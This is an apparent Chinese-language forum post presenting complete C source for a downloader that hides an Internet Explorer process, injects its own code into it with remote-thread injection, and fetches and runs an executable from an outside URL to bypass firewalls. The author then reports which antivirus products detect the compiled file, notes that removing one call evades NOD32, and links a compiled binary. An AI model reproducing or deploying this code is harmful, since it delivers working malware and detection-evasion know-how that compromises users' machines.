UID2625
注册时间2007-12-26
最后登录1970-1-1
在线时间 小时
听众
收听
性别保密
阅读权限130
|
马上注册,查看更多内容,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?注册
×
在网上看到一个“插ie穿墙下载者”的代码,这段代码的作用是在后台运行一个ie浏览器进程,然后把一段下载执行的代码插入到ie进程中去运行,程序执行的结果是通过使用ie进程的通信,突破防火墙到一个网络上的主机上下载一个程序并在运行“下载者”程序的这台电脑上执行。于是我想到用一些杀毒软件来对个程序做一个查杀得测试。下面先来看看这段代码:
#include <windows.h>
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"kernel32.lib")
//#pragma comment(linker, "/OPT:NOWIN98") //取消这4行的注释,可编译出2K大的文件
//#pragma comment(linker, "/merge:.data=.text")
//#pragma comment(linker, "/merge:.rdata=.text")
//#pragma comment(linker, "/align:0x200")
#pragma comment(linker, "/ENTRY:main")
#pragma comment(linker, "/subsystem:windows")
#pragma comment(linker, "/BASE:0x13150000")
HINSTANCE (WINAPI *SHELLRUN)(HWND,LPCTSTR, LPCTSTR, LPCTSTR ,LPCTSTR , int );//动态加载shell32.dll中的ShellExecuteA函数
DWORD (WINAPI *DOWNFILE) (LPCTSTR ,LPCTSTR, LPCTSTR ,DWORD, LPCTSTR);//动态加载Urlmon.dll中的UrlDownloadToFileA函数
HANDLE (WINAPI *MYINJECT) (HANDLE, LPSECURITY_ATTRIBUTES, DWORD,LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); //建立远程线程,并运行
HANDLE processhandle;
DWORD pid;
HINSTANCE hshell,hurlmon,hkernel;
void download() //注入使用的下载函数
{
hshell=LoadLibrary("Shell32.dll");
hurlmon=LoadLibrary("urlmon.dll");
(FARPROC&)SHELLRUN=GetProcAddress(hshell,"ShellExecuteA");
(FARPROC&)DOWNFILE= GetProcAddress(hurlmon,"URLDownloadToFileA");
DOWNFILE(NULL,"http://www.163info.org/se.exe","c:\\ie.exe",0, NULL);
SHELLRUN(0,"open","c:\\ie.exe",NULL,NULL,5);
ExitProcess(0);
};
void main() //主函数
{
//1.得到IE路径,并运行
char iename[MAX_PATH],iepath[MAX_PATH];
ZeroMemory(iename,sizeof(iename));
ZeroMemory(iepath,sizeof(iepath));
GetWindowsDirectory(iepath,MAX_PATH);
strncpy(iename,iepath,3);
strcat(iename,"program files\\Internet Explorer\\IEXPLORE.EXE");
WinExec(iename,SW_HIDE);
Sleep(500);
//2.得到 IE process handle
HWND htemp;
htemp=FindWindow("IEFrame",NULL);
GetWindowThreadProcessId(htemp,&pid);
processhandle=OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//3.分配内存
HMODULE Module;
LPVOID NewModule;
DWORD Size;
LPDWORD lpimagesize;
Module = GetModuleHandle(NULL);//进程映像的基址
//得到内存镜像大小
_asm
{
push eax;
push ebx;
mov ebx,Module;
mov eax,[ebx+0x3c];
lea eax,[ebx+eax+0x50];
mov eax,[eax]
mov lpimagesize,eax;
pop ebx;
pop eax;
};
Size=(DWORD)lpimagesize;
NewModule = VirtualAllocEx(processhandle, Module, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //确定起始基址和内存映像基址的位置
//4.写内存,创建线程
WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);//写数据
LPTHREAD_START_ROUTINE entrypoint;
__asm
{
push eax;
lea eax,download;
mov entrypoint,eax;
pop eax
}
hkernel=LoadLibrary("KERNEL32.dll");
(FARPROC&)MYINJECT= GetProcAddress(hkernel,"CreateRemoteThread");
MYINJECT(processhandle, NULL, 0, entrypoint, Module, 0, NULL); //建立远程线程,并运行
//5.关闭对象
CloseHandle(processhandle);
return;
} ;
把上面这段代码编译成PE文件后用Mcafee、Symantec、卡巴、nod32等杀毒软件查杀的结果是:Kaspersky——no virus found、McAfee——no virus found、Symantec——no virus found、NOD32v2——probably unknown NewHeur_PE virus。在四款杀毒软件中只有nod32杀毒软件把“下载者”识别为可能性的PE病毒文件。
Nod32是依据什么来判断“下载者”有可能是病毒文件的呢?带着这个疑问,我对上面的“下载者”代码做了一个简单的分析。当我注释掉WriteProcessMemory(processhandle, NewModule, Module, Size, NULL);这行代码后,nod32就没有再判断这个文件为病毒文件了。但“下载者”下载执行的功能也随之失效了。
通过上面的实验分析,大概可以看出nod32是依据程序调用了WriteProcessMemory这个函数,并且再结合一些程序的其他特征行为来判断“下载者”有可能是病毒文件的。至于nod32 得av工程师使了的什么样的病毒行为分析策略,在这里很难分析清楚,希望有对这方面有研究的博友共同探讨。
编译好的文件的下载地址:http://www40.websamba.com/pcsec%5Fbook/down2.exe |
评分
-
查看全部评分
|